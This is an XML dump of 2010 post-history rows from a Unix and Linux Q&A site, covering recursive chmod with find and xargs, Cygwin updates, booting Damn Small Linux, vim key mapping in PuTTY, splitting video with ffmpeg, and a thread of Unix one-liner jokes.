  <row Id="3423" PostHistoryTypeId="2" PostId="1698" RevisionGUID="00ecf0c1-fef2-4246-8f33-b6d5a78a89e4" CreationDate="2010-09-07T02:26:28.823" UserId="1538" Text="I was trying to chmod folders and files with:&#xD;&#xA;&#xD;&#xA;find . -type d -exec chmod 755 {} \;&#xD;&#xA;&#xD;&#xA;find . -type f -exec chmod 644 {} \;&#xD;&#xA;&#xD;&#xA;But i was wondering:&#xD;&#xA;&#xD;&#xA;1. how to do it in one line using find and exluding the directories: . and ..&#xD;&#xA;&#xD;&#xA;2. Which method is better find -exec or xargs?&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;" />
  <row Id="3424" PostHistoryTypeId="1" PostId="1698" RevisionGUID="00ecf0c1-fef2-4246-8f33-b6d5a78a89e4" CreationDate="2010-09-07T02:26:28.823" UserId="1538" Text="recursively chmod" />
  <row Id="3425" PostHistoryTypeId="3" PostId="1698" RevisionGUID="00ecf0c1-fef2-4246-8f33-b6d5a78a89e4" CreationDate="2010-09-07T02:26:28.823" UserId="1538" Text="échmodà" />
  <row Id="3426" PostHistoryTypeId="2" PostId="1699" RevisionGUID="88ecf772-53fd-4ded-99ad-7720366bbe48" CreationDate="2010-09-07T02:28:05.730" UserId="250" Text="The output of commands can vary depending on whether it is run interactively or within a script. For example, &quot;multiline output&quot; goes fine with `export`:&#xD;&#xA;&#xD;&#xA;    #! /bin/bash&#xD;&#xA;    L=`export`&#xD;&#xA;    echo &quot;$L&quot;&#xD;&#xA;, which gives you all the output just the same as when you run it interactively.&#xD;&#xA;&#xD;&#xA;But not `alias`, which gives you nothing." />
  <row Id="3427" PostHistoryTypeId="5" PostId="1698" RevisionGUID="3cd8b815-394b-4de9-8bc7-b564c81326de" CreationDate="2010-09-07T02:30:25.397" UserId="73" Comment="deleted 3 characters in body; edited tags" Text="I was trying to `chmod` folders and files with:&#xD;&#xA;&#xD;&#xA;    find . -type d -exec chmod 755 {} \;&#xD;&#xA;    find . -type f -exec chmod 644 {} \;&#xD;&#xA;&#xD;&#xA;But I was wondering:&#xD;&#xA;&#xD;&#xA;1. How to do it in one line using `find` and excluding the directories `.` and `..`&#xD;&#xA;&#xD;&#xA;2. Which method is better, `find -exec` or `xargs`?&#xD;&#xA;" />
  <row Id="3428" PostHistoryTypeId="6" PostId="1698" RevisionGUID="3cd8b815-394b-4de9-8bc7-b564c81326de" CreationDate="2010-09-07T02:30:25.397" UserId="73" Comment="deleted 3 characters in body; edited tags" Text="écommandölineàéfindàéchmodàéxargsà" />
  <row Id="3429" PostHistoryTypeId="2" PostId="1700" RevisionGUID="2d69f803-fec0-427e-80da-c38f68b9f297" CreationDate="2010-09-07T02:33:06.363" UserDisplayName="delete" Text="How can I set up Cygwin to automatically update itself?" />
  <row Id="3430" PostHistoryTypeId="1" PostId="1700" RevisionGUID="2d69f803-fec0-427e-80da-c38f68b9f297" CreationDate="2010-09-07T02:33:06.363" UserDisplayName="delete" Text="How can I set up Cygwin to automatically update?" />
  <row Id="3431" PostHistoryTypeId="3" PostId="1700" RevisionGUID="2d69f803-fec0-427e-80da-c38f68b9f297" CreationDate="2010-09-07T02:33:06.363" UserDisplayName="delete" Text="écygwinà" />
  <row Id="3432" PostHistoryTypeId="2" PostId="1701" RevisionGUID="900681fd-cbaa-43cd-ac3c-2305b26925e3" CreationDate="2010-09-07T02:35:37.583" UserDisplayName="delete" Text="You can do this with the named arguments to chmod:&#xD;&#xA;&#xD;&#xA;     chmod u=rwX,go=rX {}&#xD;&#xA;&#xD;&#xA;The `X` is the key part here which does what you want.&#xD;&#xA;" />
  <row Id="3433" PostHistoryTypeId="5" PostId="1701" RevisionGUID="dd8c870e-9918-48ba-bdcb-52b8e65a762a" CreationDate="2010-09-07T02:41:09.823" UserDisplayName="delete" Comment="added 199 characters in body; added 5 characters in body; added 8 characters in body" Text="You can do this with the named arguments to chmod:&#xD;&#xA;&#xD;&#xA;     chmod u=rwX,go=rX {}&#xD;&#xA;&#xD;&#xA;The capital `X` is the key part here which changes the permission to executable only if it is a directory. See [the manual page][1] for more details.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freebsd.org/cgi/man.cgi?query=chmod&amp;apropos=0&amp;sektion=0&amp;manpath=FreeBSD+8.1-RELEASE&amp;format=html" />
  <row Id="3434" PostHistoryTypeId="2" PostId="1702" RevisionGUID="c38e9995-5ea2-4ed7-9d71-ea9a0ba542bd" CreationDate="2010-09-07T02:41:32.487" UserId="1294" Text="I have a vintage 2001 laptop (Vaio R505) which is very hardware limited. Fortunately there is much that works, but I can't figure how to make it work better. The two biggest constraints are 256MB RAM and no floppy or CD and it cannot boot from a USB drive because the BIOS is ancient.&#xD;&#xA;&#xD;&#xA;It does have enough disk for a shrunken WinXP partition, an Ubuntu Lucid partition, swap, and 60MB unallocated. Even stripped down Xubuntu installation with a custom built minimal kernel is a little too heavyweight for the small core and ultra-slow swap.&#xD;&#xA;&#xD;&#xA;I'd like to install [Damn Small Linux][1] because it is designed for machines of this vintage and specs but I can't figure out how to get it loaded. To get Xubuntu on, I started WUBI in windows which is designed to then install Unbuntu. My bootloader is now GRUB2 and happily boots Linux or XP (which I keep around for no good reason).&#xD;&#xA;&#xD;&#xA;I'm almost certain that putting the right materials on my free partition and telling GRUB about the DSL installation is possible, I just don't know what the right materials are.&#xD;&#xA;&#xD;&#xA;As this is a pretty odd circumstance and I am capable of rolling a custom kernel, I'm mostly looking for pointers to information to demystify the boot process and what update-grub needs to see to add DSL to the boot-list.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.damnsmalllinux.org/" />
  <row Id="3435" PostHistoryTypeId="1" PostId="1702" RevisionGUID="c38e9995-5ea2-4ed7-9d71-ea9a0ba542bd" CreationDate="2010-09-07T02:41:32.487" UserId="1294" Text="bootstrapping a DSL installation onto a machine with no bios boot support" />
  <row Id="3436" PostHistoryTypeId="3" PostId="1702" RevisionGUID="c38e9995-5ea2-4ed7-9d71-ea9a0ba542bd" CreationDate="2010-09-07T02:41:32.487" UserId="1294" Text="égrubàébootöloaderà" />
  <row Id="3437" PostHistoryTypeId="2" PostId="1703" RevisionGUID="d38de459-36bc-4fa8-b6fc-a510da2de130" CreationDate="2010-09-07T02:48:52.950" UserId="1294" Text="Sherlock got (1), for (2) `xargs` is generally preferable as it allows for more reasonable syntax and less shell invocation overhead. Be aware of the `-print0` and `-0` options to find and xargs respectively as paths with spaces and special characters can gum up the works.&#xD;&#xA;&#xD;&#xA;For a one-time run, the difference really shouldn't matter unless you are chmodding a huge tree. If you do this often enough to formalize into a script, I'd use xargs." />
  <row Id="3440" PostHistoryTypeId="2" PostId="1705" RevisionGUID="8a24da6a-07d1-413e-9831-c68dbf01f059" CreationDate="2010-09-07T03:03:30.237" UserId="1294" Text="With ansi, cygwin, linux, vt100, vt220, and xterm terminfo definitions, I expect you'd be able to hit 98% of the terminal emulations that you'll encounter in the wild. &#xD;&#xA;&#xD;&#xA;Even terminal emulators that have a different native mode can likely be directed to emulate vt100/vt220 modes, often without user intervention." />
  <row Id="3441" PostHistoryTypeId="2" PostId="1706" RevisionGUID="6643dc20-1b65-49ed-90de-3704d0a278c3" CreationDate="2010-09-07T03:16:48.147" UserId="1264" Text="You can also connect the laptop to the WLAN, the desktop to Laptop and only bridge the connections on the laptop so you don't need to run anything on the laptop (DHCP/NAT). The Desktop will get its config from the WLAN dhcp.&#xD;&#xA;" />
  <row Id="3443" PostHistoryTypeId="2" PostId="1707" RevisionGUID="2fb5ec56-bd11-418f-8625-b7da18dd5eb8" CreationDate="2010-09-07T03:22:22.087" UserId="1538" Text="I think im comfortable with:&#xD;&#xA;&#xD;&#xA;    // Exclude te current directory&#xD;&#xA;    find . -type d ! -name '\.' -print0 | xargs -0 chmod 0755&#xD;&#xA;    &#xD;&#xA;    find . -type f -print0 | xargs -0 chmod 0644&#xD;&#xA;&#xD;&#xA;This can be minified in one line?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="3444" PostHistoryTypeId="2" PostId="1708" RevisionGUID="0c360258-6cba-4206-aaeb-ec0fa162e40e" CreationDate="2010-09-07T03:23:04.087" UserId="1294" Text="Simple and platform agnostic:&#xD;&#xA;&#xD;&#xA;  1. Ensure that the two networks to be bridged have different **subnet** addresses.&#xD;&#xA;  2. Enable standard Linux IP forwarding in [/etc/sysctl.conf][1].&#xD;&#xA;&#xD;&#xA;For different [subnets][2], assuming you are using the allocated private class C space, 192.168.1.* and 192.168.2.* are different subnets.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.faqs.org/docs/securing/chap9sec94.html&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Subnetwork" />
  <row Id="3445" PostHistoryTypeId="2" PostId="1709" RevisionGUID="9569a801-d288-498e-9967-68337b79d1c6" CreationDate="2010-09-07T03:47:49.043" UserId="210" Text="I am using `Putty -&gt; Suse box -&gt; vim 7.2` combo for editing and want to remap Ctrl + arrows combo to a particular task. But for some reason, Vim ignores the shortcut and goes into insert mode and inserts character &quot;D&quot; (for left) of &quot;C&quot; (for right).&#xD;&#xA;&#xD;&#xA;Which part of my keyboard/terminal configuration is to blame and how to fix it?" />
  <row Id="3446" PostHistoryTypeId="1" PostId="1709" RevisionGUID="9569a801-d288-498e-9967-68337b79d1c6" CreationDate="2010-09-07T03:47:49.043" UserId="210" Text="How to fix Ctrl + arrows in Vim?" />
  <row Id="3447" PostHistoryTypeId="3" PostId="1709" RevisionGUID="9569a801-d288-498e-9967-68337b79d1c6" CreationDate="2010-09-07T03:47:49.043" UserId="210" Text="élinuxàévimàékeyboardà" />
  <row Id="3448" PostHistoryTypeId="2" PostId="1710" RevisionGUID="30d19c31-0a83-490a-89cb-7e42c8fff173" CreationDate="2010-09-07T03:55:31.993" UserId="1294" Text="Your best bet is probably to look at PuTTY's [Application Cursor Keys mode][1] configuration.&#xD;&#xA;&#xD;&#xA;The default sequences send &lt;kbd&gt;ESC&lt;/kbd&gt; as a prefix and `[` followed by `A`ppend or `C`hange or other things throwing you into insert mode.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://the.earth.li/~sgtatham/putty/0.60/htmldoc/Chapter4.html#config-appcursor" />
  <row Id="3449" PostHistoryTypeId="6" PostId="1709" RevisionGUID="7ce05319-5f07-4c99-9c25-792e9f2d6147" CreationDate="2010-09-07T04:06:59.057" UserId="1207" Comment="edited tags" Text="élinuxàévimàékeyboardàéputtyà" />
  <row Id="3450" PostHistoryTypeId="2" PostId="1711" RevisionGUID="da3b0d5c-f642-4883-acb8-eba5ea7037c7" CreationDate="2010-09-07T04:10:21.467" UserId="1294" Text="Cygwin : Unix :: Peaches : Trombone (that was on my GRE ;) &#xD;&#xA;&#xD;&#xA;Given how [dramatic Cygwin changes][1] can be, I'd be really wary of having it done without my explicit consent. If you are daring, you could [invoke cron][2] to run whatever update script you might choose.&#xD;&#xA;&#xD;&#xA;If you were looking for the ill-documented `setup.exe --quiet-mode` for unattended operation, there it is.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cygwin.com/cygwin-ug-net/ov-new1.7.html&#xD;&#xA;  [2]: http://www.devdaily.com/blog/post/linux-unix/get-crontab-started-running-when-using-cygwin" />
  <row Id="3451" PostHistoryTypeId="2" PostId="1712" RevisionGUID="a1120996-ee0d-458c-907b-52c6c0257d85" CreationDate="2010-09-07T04:52:50.933" UserId="203" Text="I would crack the case, remove the hard drive, purchase something like the &quot;SABRENT USB-2535 USB 2.0 TO IDE CABLE FOR 2.5&quot;/3.5&quot;/ 5.25&quot; DRIVE&quot; (currently $15.29 from NewEgg) and do the setup all on a modern machine.  Slip the drive back in when you are done.  That way, you can also dump the drive contents you already have working and avoid ending up with a brick." />
  <row Id="3452" PostHistoryTypeId="2" PostId="1713" RevisionGUID="bcc1509c-e72e-4743-b041-d5b35dcdbb73" CreationDate="2010-09-07T05:09:00.293" UserDisplayName="delete" Text="A long while ago I went to a job interview with a thoroughly weird company in London who claimed to be expert Unix consultants. Anyway these people were complete nutters and not surprisingly the company doesn't seem to be there any more, but at the interview they asked me the following question:&#xD;&#xA;&#xD;&#xA;&gt; What is the first call you make to start a new process?&#xD;&#xA;&#xD;&#xA;So I answered that the first call is `fork`. The two people interviewing me said&#xD;&#xA;&#xD;&#xA;&gt; What call do you do **before** you do the fork?&#xD;&#xA;&#xD;&#xA;Now, I have no idea about this question, and I have to say these people convinced me they were unmitigated idiots for reasons completely unrelated to this question, but for some reason this question still bugs me even now. Is there some call which is made before a fork? Is there some subtlety I missed out on?&#xD;&#xA;" />
  <row Id="3453" PostHistoryTypeId="1" PostId="1713" RevisionGUID="bcc1509c-e72e-4743-b041-d5b35dcdbb73" CreationDate="2010-09-07T05:09:00.293" UserDisplayName="delete" Text="What call before a fork?" />
  <row Id="3454" PostHistoryTypeId="3" PostId="1713" RevisionGUID="bcc1509c-e72e-4743-b041-d5b35dcdbb73" CreationDate="2010-09-07T05:09:00.293" UserDisplayName="delete" Text="éprocessà" />
  <row Id="3455" PostHistoryTypeId="5" PostId="1700" RevisionGUID="696ebf16-fc57-437c-ac43-d2dd37a91ab8" CreationDate="2010-09-07T05:10:23.613" UserDisplayName="delete" Comment="added 88 characters in body; edited title" Text="How can I set up Cygwin to automatically update itself?&#xD;&#xA;&#xD;&#xA;How can I get Cygwin to download a package without having to go via the GUI thing?&#xD;&#xA;" />
  <row Id="3456" PostHistoryTypeId="4" PostId="1700" RevisionGUID="696ebf16-fc57-437c-ac43-d2dd37a91ab8" CreationDate="2010-09-07T05:10:23.613" UserDisplayName="delete" Comment="added 88 characters in body; edited title" Text="How can I set up Cygwin to automatically update and download without the GUI?" />
  <row Id="3457" PostHistoryTypeId="2" PostId="1714" RevisionGUID="88fc7dc3-4799-4939-acfd-2ecbe83424e6" CreationDate="2010-09-07T05:30:02.810" UserId="1294" Text="There seems to be some ambiguity in the way that you worded your question. You said:&#xD;&#xA;&#xD;&#xA;&gt;  but in the script only first line end up in the variable&#xD;&#xA;&#xD;&#xA;and then your comments suggest that you are writing a shell function - not a script. &#xD;&#xA;&#xD;&#xA;I suspect you know that scripts are useless for changing directories, since any `cd` within a script does not propagate out to the superior shell. If indeed you are trying to develop your directory changer in a script, you'll have a tough time as the directory stack is **not** inherited by subordinate shells:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ dirs -l&#xD;&#xA;    /home/msw /home/msw/Ubuntu One /home/msw /usr/bin /usr/local /bin /usr/local&#xD;&#xA;    $ cat &gt; dirs.sh&#xD;&#xA;    dirs -l &#xD;&#xA;    $ bash dirs.sh&#xD;&#xA;    /home/msw&#xD;&#xA;&#xD;&#xA;You could get a function to help out:&#xD;&#xA;&#xD;&#xA;    $ function passdirs() { bash ndirs.sh `dirs -l -p`; }&#xD;&#xA;    $ cat &gt; ndirs.sh&#xD;&#xA;    echo $#&#xD;&#xA;    echo &quot;$@&quot;&#xD;&#xA;    $ passdirs&#xD;&#xA;    8&#xD;&#xA;    /home/msw /usr/local /usr/bin /bin /usr/local /usr/bin /bin /home/msw&#xD;&#xA;&#xD;&#xA;but, of course you'd need the function to also effect the `cd` in the current shell in which case wrapping and unwrapping arguments through the command line is a quoting chore so you are best just doing it all in the function&#xD;&#xA;&#xD;&#xA;    $ function cd_pattern() {&#xD;&#xA;       cd $(dirs -l -p | grep --max-count=1 -e &quot;$1&quot;) ; dirs&#xD;&#xA;    }&#xD;&#xA;    $ dirs&#xD;&#xA;    ~ /usr/local /bin /usr/share/doc/evince ~/Ubuntu One&#xD;&#xA;    $ cd_pattern v..c&#xD;&#xA;    /usr/share/doc/evince /usr/local /bin /usr/share/doc/evince ~/Ubuntu One&#xD;&#xA;&#xD;&#xA;which also switched to using `$(...)` as a synonym for backticks to reduce quoting confusion.&#xD;&#xA;" />
  <row Id="3458" PostHistoryTypeId="2" PostId="1715" RevisionGUID="b8ceb28c-0f28-442f-a37e-3fe008ae9c3b" CreationDate="2010-09-07T06:02:16.513" UserId="1294" Text="I hesitate to put this as an answer as one can only guess, but:&#xD;&#xA;&#xD;&#xA;  1. flush stdout in case the child is going to do output prior to exec.&#xD;&#xA;  2. close any open file descriptors greater than 2 assuming that the new process is expecting a &quot;standard&quot; environment as it would get from the shell.&#xD;&#xA;  3. some obscure thing required by some obscure variant like [Eunice][1] that they though very clever of themselves to know.&#xD;&#xA;&#xD;&#xA;Any way you scratch it, asking an obscure factual question is no way to derive anything about a candidate except perhaps how they respond to stupid questions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikiquote.org/wiki/Larry_Wall#Configure" />
  <row Id="3459" PostHistoryTypeId="5" PostId="1713" RevisionGUID="dd5ff0e1-ab9a-4ef8-9c4f-df73c5b41868" CreationDate="2010-09-07T06:13:35.163" UserDisplayName="delete" Comment="added 63 characters in body" Text="A long while ago I went to a job interview with a thoroughly weird company in London who claimed to be expert Unix consultants. Anyway these people were complete nutters and not surprisingly the company doesn't seem to be there any more, but at the interview they asked me the following question:&#xD;&#xA;&#xD;&#xA;&gt; What is the first call you make to start a new process?&#xD;&#xA;&#xD;&#xA;So I answered that the first call is `fork`. The two people interviewing me said (very insistently, as if I'd missed something utterly obvious)&#xD;&#xA;&#xD;&#xA;&gt; What call do you do **before** you do the fork?&#xD;&#xA;&#xD;&#xA;Now, I have no idea about this question, and I have to say these people convinced me they were unmitigated idiots for reasons completely unrelated to this question, but for some reason this question still bugs me even now. Is there some call which is made before a fork? Is there some subtlety I missed out on?&#xD;&#xA;" />
  <row Id="3460" PostHistoryTypeId="2" PostId="1716" RevisionGUID="0242320d-4d5f-4f5e-8023-7a6fae222edf" CreationDate="2010-09-07T06:22:36.527" UserId="1327" Text="I saw a t-shirt reading 'anything you say gets piped to /dev/null', not incredibly funny but amusing at least. &#xD;&#xA;&#xD;&#xA;Does anyone else have any good one-liner linux jokes?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3461" PostHistoryTypeId="1" PostId="1716" RevisionGUID="0242320d-4d5f-4f5e-8023-7a6fae222edf" CreationDate="2010-09-07T06:22:36.527" UserId="1327" Text="Any funny Linux one-liners? " />
  <row Id="3462" PostHistoryTypeId="3" PostId="1716" RevisionGUID="0242320d-4d5f-4f5e-8023-7a6fae222edf" CreationDate="2010-09-07T06:22:36.527" UserId="1327" Text="éhumorà" />
  <row Id="3463" PostHistoryTypeId="16" PostId="1716" RevisionGUID="0242320d-4d5f-4f5e-8023-7a6fae222edf" CreationDate="2010-09-07T06:22:36.527" UserId="1327" />
  <row Id="3464" PostHistoryTypeId="5" PostId="1675" RevisionGUID="095372ee-9413-459d-b9dd-12ebfe455758" CreationDate="2010-09-07T06:59:55.813" UserId="138" Comment="Rewrote for clarity and to be less abrasive" Text="    $ ffmpeg -ss 0 -t 600 -i source-file.foo first-10-min.m4v&#xD;&#xA;    $ ffmpeg -ss 600 -t 600 -i source-file.foo second-10-min.m4v&#xD;&#xA;    $ ffmpeg -ss 1200 -t 600 -i source-file.foo third-10-min.m4v&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Wrapping this up into a script to do it in a loop wouldn't be hard.  Beware that if you try to calculate the number of iterations based on the duration output from an `ffprobe` call that this is *estimated* from the average bit rate at the start of the clip and the clip's file size. `ffprobe` doesn't scan the entire file for speed reasons, so it can be quite inaccurate.&#xD;&#xA;&#xD;&#xA;I don't think you really want to be cutting at exactly 10 minutes for each clip.  That will put cuts right in the middle of sentences, even words.  I think you should be using a video editor or player to find natural cut points just shy of 10 minutes apart.&#xD;&#xA;&#xD;&#xA;Assuming your file is in a format that YouTube can accept directly, you don't have to reencode to get segments.  Just pass the natural cut point offsets to `ffmpeg`, telling it to pass the encoded A/V through untouched by using the &quot;copy&quot; codec:&#xD;&#xA;&#xD;&#xA;    $ ffmpeg -ss 0 -t 593.3 -i source.m4v -vcodec copy -acodec copy part1.m4v&#xD;&#xA;    $ ffmpeg -ss 593.3 -t 551.64 -i source.m4v -vcodec copy -acodec copy part2.m4v&#xD;&#xA;    $ ffmpeg -ss 1144.94 -t 581.25 -i source.m4v -vcodec copy -acodec copy part3.m4v&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;The start point for every command after the first is the previous command's start point plus the previous command's duration." />
  <row Id="3465" PostHistoryTypeId="2" PostId="1717" RevisionGUID="984c152b-6790-48b3-8944-ea10720709b1" CreationDate="2010-09-07T07:04:32.573" UserId="138" Text="Possibly apocryphal:&#xD;&#xA;&#xD;&#xA;    $ make love&#xD;&#xA;    Not war?&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;or, verified, in BSD make:&#xD;&#xA;&#xD;&#xA;    $ make love&#xD;&#xA;    make: don't know how to make love. Stop&#xD;&#xA;    $" />
  <row Id="3466" PostHistoryTypeId="16" PostId="1717" RevisionGUID="984c152b-6790-48b3-8944-ea10720709b1" CreationDate="2010-09-07T07:04:32.573" UserId="-1" />
  <row Id="3467" PostHistoryTypeId="5" PostId="1717" RevisionGUID="20ddc137-ea34-4a65-8540-0268d23ee43b" CreationDate="2010-09-07T07:07:47.530" UserDisplayName="delete" Comment="added 8 characters in body" Text="Not Linux, but FreeBSD make:&#xD;&#xA;&#xD;&#xA;    $ make love&#xD;&#xA;    Not war.&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;or, verified, in BSD make:&#xD;&#xA;&#xD;&#xA;    $ make love&#xD;&#xA;    make: don't know how to make love. Stop&#xD;&#xA;    $" />
  <row Id="3468" PostHistoryTypeId="5" PostId="1717" RevisionGUID="9871aef7-0ef2-48b2-9337-81baa55603db" CreationDate="2010-09-07T07:18:58.140" UserId="138" Comment="deleted 20 characters in body" Text="FreeBSD make:&#xD;&#xA;&#xD;&#xA;    $ make love&#xD;&#xA;    Not war.&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;or `bsdmake` on OS X:&#xD;&#xA;&#xD;&#xA;    $ make love&#xD;&#xA;    make: don't know how to make love. Stop&#xD;&#xA;    $" />
  <row Id="3469" PostHistoryTypeId="2" PostId="1718" RevisionGUID="f016e36c-4696-48ed-964c-7d8c21989a1f" CreationDate="2010-09-07T07:23:35.320" UserId="1131" Text="&gt; I read your mail." />
  <row Id="3470" PostHistoryTypeId="16" PostId="1718" RevisionGUID="f016e36c-4696-48ed-964c-7d8c21989a1f" CreationDate="2010-09-07T07:23:35.320" UserId="-1" />
  <row Id="3471" PostHistoryTypeId="2" PostId="1719" RevisionGUID="4eb60274-3a39-450b-8326-a8e781a0c004" CreationDate="2010-09-07T07:28:37.950" UserId="1542" Text="I am building testdisk as static and when i run &#xD;&#xA;&#xD;&#xA;&gt; make static&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;i am getting the following error&#xD;&#xA;&#xD;&#xA;&gt; /usr/bin/ld: cannot find -luuid&#xD;&#xA;&#xD;&#xA;&gt; collect2: ld returned 1 exit status&#xD;&#xA;&#xD;&#xA;what's the problem?&#xD;&#xA;&#xD;&#xA;in the makefile i have the following line &#xD;&#xA;&#xD;&#xA;&gt; LIBS = -lz -lntfs -luuid -lcrypto &#xD;&#xA;&gt; -lext2fs -lcom_err&#xD;&#xA;&#xD;&#xA;and i am getting error on all the floowing flags&#xD;&#xA;&#xD;&#xA;&gt; -luuid -lcrypto  -lext2fs -lcom_err&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3472" PostHistoryTypeId="1" PostId="1719" RevisionGUID="4eb60274-3a39-450b-8326-a8e781a0c004" CreationDate="2010-09-07T07:28:37.950" UserId="1542" Text="linux static compilation issue" />
  <row Id="3473" PostHistoryTypeId="3" PostId="1719" RevisionGUID="4eb60274-3a39-450b-8326-a8e781a0c004" CreationDate="2010-09-07T07:28:37.950" UserId="1542" Text="élinuxàécompilingà" />
  <row Id="3474" PostHistoryTypeId="2" PostId="1720" RevisionGUID="125113dd-475e-4652-a3b6-51ab6f01bafd" CreationDate="2010-09-07T07:31:19.450" UserId="138" Text="&gt; You don't exist. Go away.&#xD;&#xA;&#xD;&#xA;Message from various programs when they try to look up your user info by user ID and that fails.&#xD;&#xA;&#xD;&#xA;Reasons that can happen:&#xD;&#xA;&#xD;&#xA; - `/etc/passwd` is corrupt&#xD;&#xA; - the user got deleted between the program getting its doomed ID and attempting the lookup&#xD;&#xA; - various weirdnesses involving &lt;a href=&quot;http://en.wikipedia.org/wiki/Utmp&quot;&gt;the `utmp` file&lt;/a&gt;" />
  <row Id="3475" PostHistoryTypeId="16" PostId="1720" RevisionGUID="125113dd-475e-4652-a3b6-51ab6f01bafd" CreationDate="2010-09-07T07:31:19.450" UserId="-1" />
  <row Id="3476" PostHistoryTypeId="2" PostId="1721" RevisionGUID="2218c7a0-125c-49f2-bbd6-a4b847992371" CreationDate="2010-09-07T07:42:05.290" UserId="138" Text="&quot;There are two major products that come out of Berkeley: LSD and UNIX. We don't believe this to be a coincidence.&quot;&#xD;&#xA;&#xD;&#xA;-- Jeremy S. Anderson" />
  <row Id="3477" PostHistoryTypeId="16" PostId="1721" RevisionGUID="2218c7a0-125c-49f2-bbd6-a4b847992371" CreationDate="2010-09-07T07:42:05.290" UserId="-1" />
  <row Id="3478" PostHistoryTypeId="2" PostId="1722" RevisionGUID="02f9c60f-9715-4d85-83da-61ba26b1ed90" CreationDate="2010-09-07T07:45:12.880" UserId="138" Text="Found in early Unix sources:&#xD;&#xA;&#xD;&#xA;    /*&#xD;&#xA;     * You are not expected to understand this.&#xD;&#xA;     */&#xD;&#xA;    if(rp-&gt;p_flag &amp; SSWAP) {&#xD;&#xA;        rp-&gt;p_flag =&amp; ~SSWAP;&#xD;&#xA;        aretu(u.u_ssav);&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;(Lightly edited.)" />
  <row Id="3479" PostHistoryTypeId="16" PostId="1722" RevisionGUID="02f9c60f-9715-4d85-83da-61ba26b1ed90" CreationDate="2010-09-07T07:45:12.880" UserId="-1" />
  <row Id="3480" PostHistoryTypeId="5" PostId="1715" RevisionGUID="cc2f61bf-cd2b-4f28-a727-e0417597d7c0" CreationDate="2010-09-07T07:47:35.670" UserId="1294" Comment="oops" Text="I hesitate to put this as an answer as one can only guess, but:&#xD;&#xA;&#xD;&#xA;  1. flush stdout in case the child is going to do output prior to exec.&#xD;&#xA;  2. &lt;s&gt;close any open file descriptors greater than 2 assuming that the new process is expecting a &quot;standard&quot; environment as it would get from the shell.&lt;/s&gt;&#xD;&#xA;  3. some obscure thing required by some obscure variant like [Eunice][1] that they though very clever of themselves to know.&#xD;&#xA;&#xD;&#xA;Any way you scratch it, asking an obscure factual question is no way to derive anything about a candidate except perhaps how they respond to stupid questions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikiquote.org/wiki/Larry_Wall#Configure" />
  <row Id="3481" PostHistoryTypeId="5" PostId="1721" RevisionGUID="7d794b27-22f8-4fb9-b3ff-79befa833fcf" CreationDate="2010-09-07T07:51:42.913" UserId="138" Comment="edited body; added 5 characters in body" Text="&gt; There are two major products that came out of Berkeley: LSD and UNIX. We don't believe this to be a coincidence.&#xD;&#xA;&#xD;&#xA;&amp;mdash; Jeremy S. Anderson" />
  <row Id="3482" PostHistoryTypeId="2" PostId="1723" RevisionGUID="955040d7-4c91-4153-97f2-d8ae4651e1bf" CreationDate="2010-09-07T07:55:25.863" UserId="138" Text="&gt; Those who do not understand UNIX are condemned to reinvent it, poorly.&#xD;&#xA;&#xD;&#xA;&amp;mdash; Henry Spencer" />
  <row Id="3483" PostHistoryTypeId="16" PostId="1723" RevisionGUID="955040d7-4c91-4153-97f2-d8ae4651e1bf" CreationDate="2010-09-07T07:55:25.863" UserId="-1" />
  <row Id="3484" PostHistoryTypeId="2" PostId="1724" RevisionGUID="10465fad-d98a-44e5-b3c6-e287670338ca" CreationDate="2010-09-07T08:00:52.123" UserId="1339" Text="I didn't see this for a while now:&#xD;&#xA;&#xD;&#xA;&gt; Unix is sexy: who | grep -i blonde |&#xD;&#xA;&gt; date cd ~; unzip; touch, strip;&#xD;&#xA;&gt; finger; mount; gasp; yes; uptime;&#xD;&#xA;&gt; umount; sleep&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3485" PostHistoryTypeId="16" PostId="1724" RevisionGUID="10465fad-d98a-44e5-b3c6-e287670338ca" CreationDate="2010-09-07T08:00:52.123" UserId="-1" />
  <row Id="3486" PostHistoryTypeId="2" PostId="1725" RevisionGUID="72f4894b-24e2-46ea-b81c-263f7e5bb030" CreationDate="2010-09-07T08:17:47.733" UserDisplayName="delete" Text="If I want to find out which directory under /usr/ports contains a port like &quot;gnome-terminal&quot;, how can I do that? Is there an easy command?" />
  <row Id="3487" PostHistoryTypeId="1" PostId="1725" RevisionGUID="72f4894b-24e2-46ea-b81c-263f7e5bb030" CreationDate="2010-09-07T08:17:47.733" UserDisplayName="delete" Text="How do I find where a port is?" />
  <row Id="3488" PostHistoryTypeId="3" PostId="1725" RevisionGUID="72f4894b-24e2-46ea-b81c-263f7e5bb030" CreationDate="2010-09-07T08:17:47.733" UserDisplayName="delete" Text="éfreebsdà" />
  <row Id="3489" PostHistoryTypeId="5" PostId="1725" RevisionGUID="71517265-b185-4352-8bd4-0f65e2df73f7" CreationDate="2010-09-07T08:23:01.557" UserDisplayName="delete" Comment="added 146 characters in body" Text="If I want to find out which directory under /usr/ports contains a port like &quot;gnome-terminal&quot;, how can I do that? Is there an easy command? At the moment I use things like&#xD;&#xA;&#xD;&#xA;&gt; echo */gnome-terminal&#xD;&#xA;&#xD;&#xA;but is there a website or guide which tells you this without having to use a trick?" />
